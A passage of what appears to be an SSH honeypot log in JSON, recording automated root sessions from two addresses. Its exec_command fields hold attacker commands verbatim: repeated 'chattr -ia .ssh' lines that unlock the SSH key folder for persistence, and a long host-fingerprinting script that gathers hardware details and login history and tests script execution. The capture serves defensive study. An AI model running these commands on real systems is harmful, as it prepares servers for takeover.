  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:41:54.034654+00:00",
  "ended_at": "2026-08-26T16:41:55.391110+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2227
 },
 {
  "id": "cdcf1c98-36d6-4880-87e8-7ba3d67ebaa5",
  "name": "creaky-hearty-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59816,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:41:36.145122+00:00",
  "ended_at": "2026-08-26T16:41:37.120210+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0cf5ac88-aba7-4987-86b4-c7729d5c142d",
  "name": "sincere-lively-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 40512,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:39:02.987858+00:00",
  "ended_at": "2026-08-26T16:39:04.412047+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2214
 },
 {
  "id": "1f638260-5820-4014-83e7-11f9ff04d88e",
  "name": "lawful-fierce-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 41660,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:38:43.629636+00:00",
  "ended_at": "2026-08-26T16:38:45.607632+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b91537f6-9ff1-4eeb-af5b-04d617557b37",
  "name": "airy-honest-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 40950,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 496,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:33:02.375277+00:00",
  "ended_at": "2026-08-26T16:33:03.404191+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "fb5e7a6c-f421-4d3e-be65-33e066c5b07c",
  "name": "inland-vigilant-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 40966,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:32:43.559475+00:00",
  "ended_at": "2026-08-26T16:32:44.690765+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7309f578-a866-4771-bdff-e5bd2781e96b",
  "name": "blunt-honest-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 37414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:24:06.570257+00:00",
  "ended_at": "2026-08-26T16:24:08.047062+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "6d822c0c-0235-4c47-b7ed-0acd847d819a",
  "name": "dutiful-creaky-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45270,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:23:47.590579+00:00",
  "ended_at": "2026-08-26T16:23:49.508885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1fc75d50-bf66-43fc-8c41-28fb77d086c2",
  "name": "merry-boreal-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 35354,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:20:17.693462+00:00",
  "ended_at": "2026-08-26T16:20:18.128916+00:00",
  "ended_reason": "exec complete",
  "commands": 3,
  "transcript_bytes": 9819
 },
 {
  "id": "c2ad3376-8caf-4624-8dd2-ec45d7cb9756",
  "name": "coastal-regal-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 60766,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:18:25.226591+00:00",
  "ended_at": "2026-08-26T16:18:25.362869+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "51c78759-f8f4-46c7-bdc1-3820efd2e63e",
  "name": "hollow-velvet-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 57922,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:16:08.164719+00:00",
  "ended_at": "2026-08-26T16:16:08.290032+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f57ca815-b782-4e35-be98-071ce4ec1f9d",
  "name": "somber-mottled-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 59328,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:14:52.536092+00:00",
  "ended_at": "2026-08-26T16:14:53.834919+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2126
 },
 {
  "id": "a8290ada-69dd-4c65-a144-c0a701966e3a",
  "name": "lawful-hardy-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59344,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:14:32.421168+00:00",
  "ended_at": "2026-08-26T16:14:34.461159+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81e53f55-72a7-4952-b533-a5bc1b172592",
  "name": "noble-feathered-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 55060,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:14:05.877140+00:00",
  "ended_at": "2026-08-26T16:14:06.004539+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "db3cec95-98a1-45a5-9705-d78bf1c9a029",
  "name": "orderly-wooded-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 52204,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:12:15.619195+00:00",
  "ended_at": "2026-08-26T16:12:15.727005+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "49fac436-e767-4d97-adb7-a2aeea6f4635",
  "name": "lucid-muted-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 49344,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
